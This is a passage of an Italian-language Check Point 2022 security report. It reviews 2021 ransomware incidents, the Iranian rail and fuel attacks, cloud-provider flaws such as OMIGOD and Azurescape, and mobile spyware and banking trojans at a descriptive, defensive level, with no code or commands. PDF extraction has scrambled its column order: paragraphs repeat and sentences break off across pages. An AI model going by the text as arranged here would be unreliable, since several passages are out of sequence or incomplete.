18CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 18CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

carne, responsabili di quasi un quarto delle

forniture di carne americane, hanno cessato

la produzione mentre la Casa Bianca ha ha

incaricato l'FBI di indagare. In Australia,

alcuni mattatoi furono completamente chiusi,

costringendo l'azienda a licenziare 7.000

dipendenti.

Alla fine, con la paura dell'inflazione dei prezzi

unita alla disoccupazione di massa, il CEO di

JBS USA, una filiale di JBS S.A., ha annunciato

che la società ha pagato ai criminali informatici

un riscatto equivalente a 11 milioni di dollari in

BTC.

Anche il settore dell'istruzione è stato

pesantemente colpito. Nel 2021, è stato il

settore più bersagliato a livello globale, con un

aumento del 75% rispetto al 2020 e una media

di quasi 1.605 tentativi di attacco settimanale

per organizzazione. L'interruzione subita

dalle istituzioni educative ha colpito studenti,

professori e altri membri del personale. La

Howard University di Washington D.C. è stata

vittima di un attacco ransomware a settembre

ed è stata costretta a sospendere le lezioni per

condurre un'indagine approfondita della loro

rete insieme a un controllo dei dispositivi degli

studenti e del personale. Allo stesso modo, il

Lewis and Clark Community College in Illinois

è stato colpito da un attacco ransomware a

novembre che ha colpito la loro piattaforma

di apprendimento online così come altri

sistemi critici. Hanno dovuto chiudere tutti i

loro campus, e cancellare le attività extra-

curricolari, compresi gli eventi sportivi che si

Uno degli attacchi più significativi di quest'anno,

che dimostra perfettamente quanto sopra, è

un incidente ransomware che ha avuto luogo

a maggio. L'operazione ha preso di mira la

compagnia di carburante Colonial Pipeline, che

fornisce carburante alla costa sudorientale

degli Stati Uniti. L'incidente ha costretto la

società a interrompere un'ondata di acquisti

in preda al panico, dato che molte stazioni di

servizio sono rimaste completamente senza

carburante. I funzionari governativi hanno

innescato il pubblico di non precipitarsi nelle

stazioni di servizio, dato che la gente stava

effettivamente tentando di riempire sacchetti di

plastica con la benzina per evitare di rimanere

senza. Un solo giorno dopo l'attacco, Colonial

Pipeline non ha avuto altra scelta che pagare

un riscatto di 5 milioni di dollari alla banda di

ransomware DarkSide che ha condotto l'attacco

per sbloccare i suoi sistemi.

Nello stesso mese, JBS S.A, la più grande

azienda di lavorazione della carne al mondo,

è stata vittima di un attacco del gruppo

ransomware REvil. L'azienda brasiliana

distribuisce prodotti di carne realizzati in

150 stabilimenti industriali in 15 paesi, e ha

circa 150.000 dipendenti in tutto il mondo.

L'attacco che ha colpito la rete aziendale ha

colpito i macelli e le forniture di carne negli

Stati Uniti, Canada e Australia e ha causato la

cancellazione dei turni di più di 3000 lavoratori.

Tutte le sue fabbriche di carne di manzo degli

Stati Uniti e gli impianti di imballaggio della

C A P I T O L O 3

https://www.bloomberg.com/news/articles/2021-05-31/meat-is-latest-cyber-victim-as-hackers-hit-top-supplier-jbs https://www.reuters.com/technology/jbs-paid-11-mln-response-ransomware-attack-2021-06-09/ https://blog.checkpoint.com/2021/10/06/as-battle-against-cybercrime-continues-during-cybersecurity-awareness-month-check-point-research-reports-40-increase-in-cyberattacks/ https://www.washingtonpost.com/education/2021/09/08/howard-university-ransomware-cyberattack/ https://www.washingtonpost.com/education/2021/09/08/howard-university-ransomware-cyberattack/ https://www.thetelegraph.com/news/article/Lewis-Clark-remains-offline-after-cyber-attack-16657042.php https://www.zdnet.com/article/colonial-pipeline-ransomware-attack-everything-you-need-to-know/ https://www.nytimes.com/2021/05/08/us/politics/cyberattack-colonial-pipeline.html https://eu.usatoday.com/story/news/nation/2021/05/12/colonial-pipeline-cyberattack-anxiety-gasoline-panic-buying/5059184001/ https://www.cnbc.com/2021/06/08/colonial-pipeline-ceo-testifies-on-first-hours-of-ransomware-attack.html https://www.bbc.com/news/world-us-canada-57318965 https://www.newsweek.com/russia-linked-cyber-attack-jbs-meats-hits-7000-jobs-1596713

19CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 19CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

poiché quasi tutti i servizi e le procedure

non di emergenza sono stati cancellati nella

provincia. Lo stesso mese, abbiamo assistito

a uno dei primi attacchi ransomware contro

un ospedale in Medio Oriente, quando il

gruppo cinese DeepBlueMagic ha preso di

mira il centro medico Hillel Yaffe di Hadera, in

Israele, con un ransomware personalizzato.

L’attacco ha inabilitato i computer e alcune

delle infrastrutture dell'ospedale, rendendo

impossibile la dimissione e l'elaborazione

dei pazienti a causa dell'impossibilità di

recuperare i file dei pazienti e registrarne di

nuovi. A dicembre, il Behavioral Health Group

(BHG), che gestisce oltre 80 cliniche per il

trattamento degli oppioidi in tutti gli the Stati

Uniti, ha subito un attacco informatico che

ha interrotto la sua rete per una settimana.

In alcuni centri, ai pazienti è stato impedito

di ottenere il loro dosaggio prescritto di

medicine da portare a casa per trattare la

dipendenza da narcotici, poiché i computer non

erano disponibili per stampare le etichette di

prescrizione, danneggiando potenzialmente il

loro delicato trattamento anti-dipendenza.

Gli hacker ideologicamente guidati sono anche

riusciti a causare disagi pubblici, in particolare

in Iran. In primo luogo, l'infrastruttura

ferroviaria iraniana ha affrontato un attacco

informatico nel mese di luglio, in cui gli

hacker hanno visualizzato messaggi sui

ritardi o cancellazioni dei treni sui pannelli

informativi nelle stazioni di tutto il paese,

svolgono nelle loro strutture. L'FBI ha rilasciato

un allarme contro il ransomware PYSA che

prende di mira le istituzioni di istruzione

superiore negli Stati Uniti e nel Regno Unito.

Infine, a metà del 2021, il ransomware Grief

ha attaccato idiversi distretti scolastici negli

Stati Uniti, tra cui un distretto scolastico del

Mississippi.

Il ransomware ha rubato 10GB di dati tra cui

informazioni personali e professionali, e ha

minacciato di pubblicare i dati a meno che non

venga pagato. Le istituzioni di apprendimento

superiore come le università e i college sono

buoni obiettivi per i cyber-criminali perché

i loro sistemi, che permettono a studenti

e docenti di collegare i loro dispositivi

personali alla rete dell'istituzione, non sono

completamente protetti.

Il settore sanitario è stato anche pesantemente

preso di mira dai criminali informatici dall'inizio

della pandemia, poiché gli ospedali, le strutture

di ricerca coinvolte nello sviluppo di vaccini e

le aziende farmaceutiche sono tutti obiettivi

allettanti a causa della natura sensibile al

tempo del loro lavoro. In ottobre, un devastante

attacco ransomware ha avuto luogo contro

il sistema sanitario di Terranova e Labrador,

Canada. Come risultato, i dati dei dipendenti

e dei pazienti sono stati rubati e i sistemi

chiave sono stati messi fuori uso per più di una

settimana, portando a un ritardo di migliaia

di appuntamenti, compresa la chemioterapia,

C A P I T O L O 3

https://www.ynetnews.com/business/article/bjc1ddesk https://mississippitoday.org/2021/06/11/school-district-ransomware-attack-mississippi/ https://www.nytimes.com/2021/08/14/world/middleeast/iran-trains-cyberattack.html https://www.cisa.gov/sites/default/files/publications/PYSA%20Flash.pdf https://mississippitoday.org/2021/06/11/school-district-ransomware-attack-mississippi/ https://blog.checkpoint.com/2021/01/05/attacks-targeting-healthcare-organizations-spike-globally-as-covid-19-cases-rise-again/ https://www.cbc.ca/news/canada/newfoundland-labrador/nl-cyber-attack-worst-canada-1.6236210

20CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 20CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

invitando i passeggeri a chiamare un numero

(che apparteneva all'ufficio del leader supremo

iraniano Ayatollah Khamenei) per ulteriori

informazioni. L'attacco ha gravemente interrotto

il funzionamento dei treni lo stesso giorno e

ha diffuso paura e confusione tra il pubblico.

Check Point Research ha indagato messaggi

sui ritardi o cancellazioni dei treni sui pannelli

informativi nelle stazioni di tutto il paese,

invitando i passeggeri a chiamare un numero

(che apparteneva all'ufficio del leader supremo

iraniano Ayatollah Khamenei) per ulteriori

informazioni. L'attacco ha gravemente interrotto

il funzionamento dei treni lo stesso giorno e ha

diffuso paura e confusione tra il pubblico. Check

Point Research ha indagato e attribuito l'attacco

al gruppo Indra che si oppone al regime ed è

attivo almeno dal 2019, noto per il suo uso di

malware wiper.

In ottobre, un massiccio cyber-attacco

ha interrotto 4.300 stazioni di servizio

iraniane, prendendo di mira il sistema di

carte elettroniche che permette alla gente

di comprare la benzina con i sussidi del

governo. Sullo schermo, i consumatori che

cercavano di fare il pieno hanno trovato l'avviso

"cyberattacco 64411", il numero di telefono

della Guida Suprema dell'Iran (lo stesso

esposto nell'attacco al treno). L'incidente ha

causato un grande disordine con lunghe file di

persone alle stazioni di servizio che temevano

carenze e improvvisi aumenti di prezzo.

Tutti gli attacchi descritti sopra hanno avuto un

impatto sostanziale su un particolare settore e

una regione bersaglio. Hanno anche guadagnato

molta attenzione da parte dei media, il che

naturalmente gioca a favore dei criminali

informatici nei loro tentativi di seminare la

paura e ottenere un vantaggio sulle loro vittime.

Sfortunatamente, come ha dimostrato il 2021,

i cyberattacchi hanno spesso un effetto molto

più ampio sulla popolazione generale di quanto

gli aggressori possano aver originariamente

inteso.

C A P I T O L O 3

https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/ https://threatpost.com/cyberattack-cripples-iranian-fuel-distribution-network/175794/

21CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 21CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

I TA I G R E E N B E R G VP, Product Management

SERVIZI CLOUD SOTTO ATTACCO

Nel 2020, la pandemia globale ha portato cambiamenti significativi nell'ambiente di

lavoro aziendale e nell'architettura di rete aziendale. All'interno di questi cambiamenti,

sia il passaggio all'architettura basata sul cloud - intesa a rispondere alla necessità di

reti ibride e gestite in remoto - sia la preferenza per i fornitori as-a-service rispetto ai

fornitori tradizionali, si sono davvero distinti in termini di portata della loro adozione.

Successivamente, nel 2021, è diventato chiaro che gli ambienti cloud stavano anche

crescendo in popolarità tra gli utenti finali. A metà anno, Gartner aveva rilasciato a sua

previsione affermando che la spesa degli utenti finali per i servizi di cloud pubblico era

stimata in crescita del 23% nel 2021 a oltre 332 miliardi di dollari, rispetto ai 270 miliardi

di dollari nel 2020 e ai 242,7 miliardi di dollari nel 2019. Le imprese stanno ora destinando

fondi su larga scala ad architetture multi-cloud, con Microsoft Azure e AWS in testa

alla popolarità, e Google Cloud Platform, IBM, VMWare e altri che dominano una quota

rispettabile del mercato.

C A P I T O L O 3

È comprensibile che le aziende stiano aumentando la loro dipendenza dal cloud, in particolare mentre ci muoviamo in una "nuova normalità" post-pandemica in cui il lavoro ibrido giocherà un ruolo chiave per molti settori. Ma spostare la produttività sul cloud significa anche che le aziende si affidano sempre di più ai fornitori per gestire i loro database, il codice proprietario e le risorse organizzative, molti dei quali con lacune di conoscenza interna che ora stanno lavorando duramente per colmare. Colmare queste lacune dovrebbe essere un obiettivo primario per le aziende nel 2022, aiutandole a sfruttare la loro relazione con i fornitori di cloud al massimo delle loro potenzialità in termini di sicurezza, conformità e rischio".

https://www.gartner.com/en/newsroom/press-releases/2021-04-21-gartner-forecasts-worldwide-public-cloud-end-user-spending-to-grow-23-percent-in-2021 https://www.zdnet.com/article/the-top-cloud-providers-of-2021-aws-microsoft-azure-google-cloud-hybrid-saas/

22CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 22CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

Naturalmente, le organizzazioni stanno

diventando sempre più dipendenti dai fornitori

di cloud per gestire in modo sicuro i loro

database, il codice proprietario e le risorse

organizzative. Queste organizzazioni stanno

ora gradualmente colmando le lacune di

conoscenza della piattaforma e della gestione

dei ruoli formatesi durante il rapido passaggio

ad ambienti basati sul cloud nel corso del

2020, portando a una migliore sicurezza e a

un'amministrazione più completa. Gli attacchi,

IAM (Identity and Access Management)

Role Assumption, che mirano a elevare i

privilegi dopo aver ottenuto un accesso non

autorizzato, continuano tuttavia a essere una

preoccupazione significativa.

Queste organizzazioni stanno ora gradualmente

colmando le lacune di conoscenza della

piattaforma e della gestione dei ruoli formatesi

durante il rapido passaggio ad ambienti basati

sul cloud nel corso del 2020, portando a una

migliore sicurezza e a un'amministrazione più

completa. Gli attacchi IAM (Identity and Access

Management) Role Assumption, che mirano

a elevare i privilegi dopo aver ottenuto un

accesso non autorizzato, continuano tuttavia a

essere una preoccupazione significativa.

Come al solito, gli attori delle minacce

continuano a correre contro la comunità

di ricerca sulla sicurezza, alla ricerca di

nuove vulnerabilità ed exploit. Dalla fine

del 2021, abbiamo assistito a un'ondata di

attacchi che sfruttano le falle nei servizi dei

fornitori di servizi cloud leader del settore

per ottenere il controllo dell'infrastruttura

cloud di un'organizzazione o, potenzialmente,

l'intero database dell'organizzazione che

memorizza informazioni proprietarie, clienti

e finanziarie. Le falle in discussione non sono

falle della logica di fiducia - falle basate

sui permessi che derivano dalla politica

dei ruoli dell'organizzazione e che vengono

utilizzate dagli attori delle minacce per

aumentare gradualmente i privilegi all'interno

dell'ambiente. Invece, abbiamo a che fare

con vulnerabilità critiche nell'infrastruttura

cloud stessa, che possono consentire la piena

acquisizione di account o l'esecuzione di codice

arbitrario.

La tendenza è guidata dai famigerati attacchi

della falla OMIGOD. A settembre, i ricercatori

hanno trovato quattro vulnerabilità critiche in

OMI (Open Management Infrastructure), uno

degli agenti software di Microsoft Azure che

permette agli utenti di gestire le configurazioni

in ambienti remoti e locali. OMI è distribuito su

Azure Linux VM incorporate in più servizi Azure

e viene distribuito automaticamente quando

alcuni servizi sono abilitati - il che rende

queste falle altamente probabili da sfruttare.

Si stima che il 65% di tutti i clienti Azure

siano vulnerabili, il che significa migliaia di

organizzazioni e milioni di dispositivi end-point.

Le falle di OMIGOD sono facili da sfruttare,

C A P I T O L O 3

https://blog.checkpoint.com/2021/05/05/check-your-privilege-the-risks-of-privilege-escalation-in-the-cloud/ https://www.praetorian.com/blog/aws-iam-assume-role-vulnerabilities/ https://blog.checkpoint.com/2021/05/05/check-your-privilege-the-risks-of-privilege-escalation-in-the-cloud/ https://www.praetorian.com/blog/aws-iam-assume-role-vulnerabilities/ https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/

23CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 23CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

RunC, un runtime per container. Unicamente,

Azurescape è una vulnerabilità cross-account:

permette a un attaccante di uscire dall'ambiente

violato ed eseguire codice su ambienti

appartenenti ad altri utenti nello stesso servizio

cloud pubblico. Ciò significa che un utente

malintenzionato di Azure Container Instances

(ACI) potrebbe potenzialmente eseguire codice

arbitrario sui cluster Kubernetes di altri clienti.

Microsoft Azure non è l'unico servizio in cui sono

state scoperte falle di sicurezza l'anno scorso.

A giugno, i ricercatori hanno scoperto una

vulnerabilità nel Google's Compute Engine (GCE),

un componente infrastructure-as-a-service

(IaaS) di Google Cloud Platform che viene

utilizzato per creare e lanciare macchine virtuali

su richiesta. La falla permette ad un attaccante

di prendere il controllo delle macchine virtuali

a causa di una combinazione di fattori, tra cui

l'uso di numeri casuali deboli da parte del

software DHCP ISC. Lo sfruttamento della falla,

ottenuto impersonando il server Metadata dal

punto di vista della VM presa di mira, potrebbe

consentire agli attori di effettuare il login come

utente root della VM. Google ha rilasciato una

patch per la falla quasi un anno dopo che è stata

divulgata per la prima volta. Una recente ricerca

fornisce anche una revisione approfondita di

una tecnica chiamata HTTP header smuggling

e il suo potenziale utilizzo per attaccare l'API

Gateway di AWS e AWS Cognito, un fornitore di

autenticazione. La ricerca dimostra come questa

poiché è necessaria solo una singola richiesta

con l'intestazione di autenticazione rimossa.

Insieme, le vulnerabilità potrebbero consentire

agli attori di eseguire codice arbitrario da

remoto all'interno di una rete vulnerabile ed

eseguire un'escalation di privilegi di root.

Microsoft ha già rilasciato una patch per

affrontare le falle come parte del loro

rilascio di settembre 2021. Tuttavia, alcuni

ricercatori hanno avvertito che la correzione

automatica della società è stata inefficace

per diversi giorni, fino a quando non è stata

riparata. Gli attacchi che sfruttano queste

falle, in particolare la falla RCE classificata

9.8, assegnata CVE-2021-38647, sono già stati

osservati al momento dell'esposizione e da

allora sono aumentati rapidamente. I server

che scansionano i dispositivi vulnerabili sono

passati da circa 10 a più di 100 solo durante

il primo fine settimana. La famigerata botnet

Mirai IoT (Internet-of-Things) è stata una

delle prime a prendere di mira i dispositivi

vulnerabili, e il malware ha tentato di chiudere

la porta 5896 (la porta OMI SSL) per impedire

ad altri attori di approfittare dell'attacco. Sono

stati osservati anche attacchi che mirano a

distribuire minatori di criptovalute su dispositivi

Linux senza patch.

L'ennesima falla in Microsoft Azure è stata

scoperto la piattaforma Container-as-a-Service

(CaaS) di Azure e si basa su una vulnerabilità

di due anni fa assegnata CVE-2019-5736 in

C A P I T O L O 3

https://blog.wiz.io/chaosdb-explained-azures-cosmos-db-vulnerability-walkthrough/ https://thehackernews.com/2021/06/unpatched-virtual-machine-takeover-bug.html https://github.com/irsl/gcp-dhcp-takeover-code-exec https://www.securityweek.com/google-working-patching-gcp-vulnerability-allows-vm-takeover https://www.intruder.io/research/practical-http-header-smuggling https://blog.wiz.io/secret-agent-exposes-azure-customers-to-unauthorized-code-execution/ https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647 https://www.securityweek.com/attacks-targeting-omigod-vulnerability-ramping https://www.securityweek.com/attacks-targeting-omigod-vulnerability-ramping https://twitter.com/GossiTheDog/status/1438832601221976065 https://blog.wiz.io/secret-agent-exposes-azure-customers-to-unauthorized-code-execution/ https://unit42.paloaltonetworks.com/azure-container-instances/ https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/

24CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 24CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

FPO

tecnica potrebbe essere sfruttata per aggirare

le restrizioni e realizzare l'avvelenamento della

cache. Infine, alla fine del 2021 i ricercatori

hanno notato un particolare cambiamento nei

permessi di AWS che potrebbe consentire ai

servizi di supporto AWS di leggere i dati del

bucket S3 di un cliente, invece di osservare solo

i suoi metadati. Questa potenziale falla nella

privacy è stata resa possibile da una modifica

ai permessi di un ruolo obbligatorio chiamato

'AWSServiceRoleForSupport', creato per

consentire il supporto tecnico e amministrativo.

Alla fine, la modifica è stata annullata e AWS

ha dichiarato che implementerà ulteriori

salvaguardie per prevenire tali configurazioni

errate in futuro. Per concludere, nel 2021 le

vulnerabilità dei cloud provider sono diventate

molto più allarmanti di quanto lo fossero in

precedenza. Le vulnerabilità esposte nel corso

dell'anno hanno permesso agli aggressori,

per periodi di tempo di lunghezza variabile, di

eseguire codice arbitrario, salire a privilegi di

root, accedere a quantità massicce di contenuti

privati e persino passare tra ambienti diversi.

In breve, sono state esposte vulnerabilità

nell'infrastruttura cloud stessa, che anche il

consumatore cloud più vigile e professionale

non avrebbe potuto prevedere o prevenire.

C A P I T O L O 3

https://twitter.com/QuinnyPig/status/1473705669517791253 https://aws.amazon.com/it/security/security-bulletins/AWS-2021-007/

25CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 25CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

Dobbiamo prima affrontare gli sviluppi intorno a

Pegasus di NSO, una delle famiglie di malware

mobile più famose. Pegasus è uno spyware

mobile in grado di infettare sia i dispositivi iOS

che Android, ed è stato sviluppato e

commercializzato dall'israeliano NSO Group. Lo

spyware può ottenere il pieno controllo di un

dispositivo mobile e raccogliere una moltitudine

di tipi di dati come messaggi, foto, calendari,

e-mail e altro. Inoltre, il malware è in grado di

attivare la fotocamera, raccogliere immagini e

registrare le conversazioni circostanti.

L'infezione di Pegasus si basa su un elaborato

zero-click exploit. Anche se il malware è stato

scoperto per la prima volta nel 2016, nel 2019 è

stato rilevato che lo spyware ha sfruttato il

servizio WhatsApp per infettare oltre 1.400

utenti, gli obiettivi di più clienti NSO. In Nel

luglio 2021, una vasta raccolta di notizie ha

riferito che lo strumento era stato utilizzato per

ottenere l'accesso ai dispositivi mobili di

funzionari governativi, giornalisti, attivisti dei

diritti umani e dirigenti aziendali in tutto il

mondo. Una lista contenente circa 50.000

potenziali vittime di Pegasus è trapelata e ha

SVILUPPI NELL’ARENA MOBILE Nel corso del 2021, gli attori delle minacce hanno gradualmente aumentato la loro

attenzione sui dispositivi mobili, sia per campagne su larga scala per gli utenti finali che

per attacchi mirati alle aziende. Uno studio basato su un sondaggio ha rilevato che

l'implementazione della politica "BYOD" (Bring-Your-Own-Device) sul posto di lavoro, in

cui i dipendenti sostituiscono i dispositivi aziendali designati con i propri dispositivi

personali, ha colto le organizzazioni impreparate, con circa il 49% delle organizzazioni

intervistate che indicano di non essere in grado di rilevare un attacco o un incidente sui

dispositivi di proprietà dei dipendenti.

fatto notizia, probabilmente facendo luce sui

clienti di NSO. L'attenzione dei media ha portato

ad un'ampia ricerca nel tentativo di scoprire i

metodi di infezione di Pegasus e aiutare gli

utenti a rilevare Pegasus sui loro dispositivi.

Alla fine, a settembre, Apple ha rilasciato le

patch per due vulnerabilità zero-day in

iMessage sfruttate da Pegasus, assegnate

CVE-2021-30860 e CVE-2021-30858. Queste

falle sfruttano gli iPhone e i Mac permettendo a

documenti maligni di eseguire comandi. A

novembre, Apple ha intentato una causa contro

NSO per aver utilizzato il loro software di

hacking sui dispositivi Apple e aver rubato dati

privati. Naturalmente, gli attori della minaccia

hanno rapidamente adattato una truffa di

estorsione basata sullo scandalo. Una recente

campagna fa leva sulla paura pubblica dello

spyware Pegasus iOS, cercando di intimidire le

potenziali vittime diffondendo e-mail contenenti

richieste di riscatto e sostenendo di avere video

privati delle vittime, presumibilmente presi dal

malware Pegasus. Pegasus si distingue per il

suo processo d'infezione senza soluzione di

C A P I T O L O 3

https://www.theguardian.com/news/2021/jul/18/what-is-pegasus-spyware-and-how-does-it-hack-phones https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html https://www.theguardian.com/world/2020/apr/29/whatsapp-israeli-firm-deeply-involved-in-hacking-our-users https://techcrunch.com/2021/07/19/toolkit-nso-pegasus-iphone-android/ https://forbiddenstories.org/case/the-pegasus-project/ https://www.bloomberg.com/press-releases/2021-06-15/bitglass-study-finds-security-gaps-continue-to-be-pervasive-across-bring-your-own-device-byod-initiatives https://www.siliconrepublic.com/enterprise/pegasus-spyware-is-my-phone-infected https://www.helpnetsecurity.com/2021/09/14/cve-2021-30860/ https://www.cnet.com/tech/mobile/pegasus-spyware-and-the-us-government-what-you-need-to-know/ https://www.bleepingcomputer.com/news/security/pegasus-iphone-hacks-used-as-lure-in-extortion-scheme/

26CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 26CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

continuità, a zero click, per la lista delle vittime

controverse e per le sofisticate caratteristiche

di esfiltrazione dei dati. Non sorprende quindi

che non sia più l'unico nel suo genere. Verso la

fine dell'anno, i ricercatori hanno esposto un

ulteriore attore di minacce nell'arena dello

spyware mobile del settore privato. Cytrox, una

società con sede in Macedonia del Nord,

commercializza uno spyware chiamato Predator

per dispositivi iPhone, che infetta gli obiettivi

del cliente tramite link a clic singolo inviati su

WhatsApp. Man mano che vengono esposte

sempre più informazioni sulle capacità del

malware, maggiore è la possibilità che queste

vengano adottate da attori e gruppi di minacce

comuni. Inoltre, l'ampia distribuzione dello

spyware mobile e l'attenzione che questo

campo ha attirato nel 2021, sono maggiori le

indicazioni sul ruolo cruciale che i dispositivi

mobili svolgono nel panorama delle minacce

informatiche.Durante tutto l'anno, abbiamo

osservato gli attori delle minacce investire

sforzi sostanziali nell'hacking dei principali

account dei social media come Facebook e

Telegram. Questi sforzi hanno incluso

l'esecuzione di campagne di attacco su larga

scala volte a ottenere l'accesso ai dispositivi

mobili. Nel mese di agosto, un nuovo trojan

Android chiamato 'FlyTrap' è stato trovato a

compromettere almeno 10.000 account

Facebook in 144 contee dal marzo 2021,

principalmente attraverso app dannose

disponibili sul Google Play Store. Le

applicazioni sono state caricate e rapidamente

rimosse dalla piattaforma, ma erano poi

disponibili su app store di terze parti. Gli

attaccanti hanno anche sfruttato WhatsApp per

distribuire una versione modificata dell'app per

i dispositivi Android che installa il trojan

"Triada". In ottobre, i ricercatori hanno trovato

un'applicazione di fotoritocco offerta sul Google

Play Store che conteneva un codice maligno che

raccoglieva le credenziali di Facebook degli

utenti e le usava per eseguire campagne

pubblicitarie con le informazioni di pagamento

della vittima. L'applicazione è stata scaricata da

migliaia di utenti. Infine, nel mese di novembre,

un nuovo malware Android chiamato

"MasterFred" è salito alla ribalta a causa del

suo uso di finte sovrapposizioni di login per

rubare le informazioni della carta di credito

degli utenti di Netflix, Instagram e Twitter. Un

altro significativo vettore di attacco che è stato

prominente nel 2021 si basa su messaggi SMS

per la distribuzione di malware. SMiShing,

abbreviazione di SMS phishing, è una tecnica di

phishing che si basa su dispositivi mobili per la

distribuzione di ingegneria sociale, e utilizza i

messaggi SMS come vettore di attacco. La

botnet FluBot Android, che si basa su questa

tecnica, ha ripreso le sue attività nell'aprile

2021 nonostante gli arresti designati dalla

polizia spagnola. A settembre, la botnet ha

aggiunto al suo arsenale un nuovo metodo per

compromettere i dispositivi Android, e ha

iniziato a diffondere un falso messaggio di

aggiornamento della sicurezza, avvertendo di

un'infezione da FluBot. L'infezione viene

innescata una volta che la vittima clicca sul

pulsante "installa l'aggiornamento di

sicurezza". FluBot è apparso di nuovo a

novembre in una campagna rivolta agli utenti

finlandesi. Dopo che il vettore di attacco ha

dimostrato la sua efficienza nelle campagne di

FluBot, SMiShing è stato gradualmente adottato

da attori poco qualificati. Per esempio, una

recente indagine condotta da Check Point

C A P I T O L O 3

https://citizenlab.ca/2021/12/pegasus-vs-predator-dissidents-doubly-infected-iphone-reveals-cytrox-mercenary-spyware/ https://blog.zimperium.com/flytrap-android-malware-compromises-thousands-of-facebook-accounts/ https://securityaffairs.co/wordpress/121434/mobile-2/modified-android-whatsapp-triada-trojan.html https://www.bleepingcomputer.com/news/security/photo-editor-android-app-still-sitting-on-google-play-store-is-malware/ https://www.bleepingcomputer.com/news/security/new-android-malware-targets-netflix-instagram-and-twitter-users/ https://www.cert.govt.nz/individuals/news-and-events/parcel-delivery-text-message-infecting-android-phones/ https://www.kyberturvallisuuskeskus.fi/en/be-aware-malware-spread-sms https://research.checkpoint.com/2021/smishing-botnets-going-viral-in-iran/

27CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 27CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

Research ha indicato che gli attacchi SMiShing

sono molto efficaci in Iran, nonostante la bassa

qualità generale degli strumenti degli attori.

Queste campagne utilizzano SMiShing mentre

impersonano anche entità chiave come il

governo iraniano, il sistema giudiziario, portali

di shopping e altro. Molti avvertimenti su questo

metodo di attacco, ormai fiorente, sono apparsi

nei notiziari. La portata della recente ondata di

attacchi è senza precedenti, il che non

sorprende se si ispeziona il fiorente mercato di

botnet-as-a-service che si svolge nei forum

underground e nei canali Telegram. I kit di

phishing sono disponibili a prezzi che vanno dai

50 ai 100 dollari USA. Stimiamo che campagne

simili, ispirate anche dall'uso di successo di

FluBot di SMiShing, potrebbero presto apparire

anche in altri paesi. Un'altra truffa estesa che

ha avuto luogo nel 2021 e che ruota intorno ai

messaggi SMS è "UltimaSMS", una campagna

massiccia che utilizza circa 150 applicazioni

Android. Con più di 10 milioni di download dal

Google Play Store, il suo trucco è quello di

attirare le vittime a sottoscrivere servizi SMS

premium a loro insaputa. Infine, i cambiamenti

sistematici causati dalla pandemia globale

stanno influenzando anche l'arena del malware

del mobile banking. L'espansione della

digitalizzazione del settore bancario nel 2021 ha

portato alla comparsa di varie applicazioni

progettate per limitare le interazioni offline,

che a loro volta hanno portato alla distribuzione

di nuove minacce. A September, Check Point

Research ha scoperto un nuovo modo di attacco

agli utenti Android che abusa dei servizi di

accessibilità del dispositivo. L'attacco ha preso

di mira gli utenti di PIX, una soluzione di

pagamento istantaneo vecchia di un anno, ma

estremamente popolare, creata e gestita dalla

Banca Centrale Brasiliana. La campagna

presentava due varianti di malware bancario

distribuite da due applicazioni dannose sul

Google Play Store. La più unica, chiamata

PixStealer, ha abusato dei servizi di

accessibilità di Android (AAS) per rubare

denaro da una specifica banca attraverso le

transazioni PIX. Questa combinazione

minimalista ma innovativa di funzioni permette

al malware di raccogliere fondi senza interagire

con un C&C, aiutandolo a rimanere inosservato.

Grazie alla sua semplicità ed efficienza,

possiamo aspettarci che altri attori di minacce

seguano questo esempio.

C A P I T O L O 3

C A P I T O L O 3

https://www.iribnews.ir/fa/news/3181066/%DA%A9%D9%84%D8%A7%D9%87%D8%A8%D8%B1%D8%AF%D8%A7%D8%B1%DB%8C-%D8%A7%D8%B2-%D8%B7%D8%B1%DB%8C%D9%82-%D8%A7%D8%B1%D8%B3%D8%A7%D9%84-%D9%BE%DB%8C%D8%A7%D9%85%DA%A9-%D8%AC%D8%B9%D9%84%DB%8C-%D8%A8%D8%A7-%D9%86%D8%A7%D9%85-%D8%B3%D8%A7%D9%85%D8%A7%D9%86%D9%87-%D8%AB%D9%86%D8%A7 https://blog.avast.com/premium-sms-scam-apps-on-play-store-avast https://research.checkpoint.com/2021/pixstealer-a-new-wave-of-android-banking-trojans-abusing-accessibility-services/

28CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 28CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

e i profitti. Questo è stato un anno turbolento

per diversi gruppi di ransomware, non ultimo

perché i governi e le forze dell'ordine hanno

cambiato la loro posizione contro gli attori

delle minacce organizzate. Sono passati da

misure preventive e reattive ad operazioni

offensive proattive che prendono di mira gli

stessi operatori ransomware, così come i

loro fondi e le infrastrutture di supporto. Il

maggiore cambiamento è avvenuto in seguito

all' incidente Colonial Pipeline di maggio, dove

un attacco ransomware DarkSide ha provocato

una grave carenza di carburante in tutta la

costa orientale degli Stati Uniti, facendo sì che

l'amministrazione Biden si rendesse conto di

dover intensificare gli sforzi per combattere la

minaccia.

ransomware sono la spina dorsale dell'intera

operazione, offrendo non solo il ransomware

stesso, ma anche servizi di riciclaggio di denaro

e specialisti di negoziazione. Il sito diversi

programmi ransomware competono per affiliati,

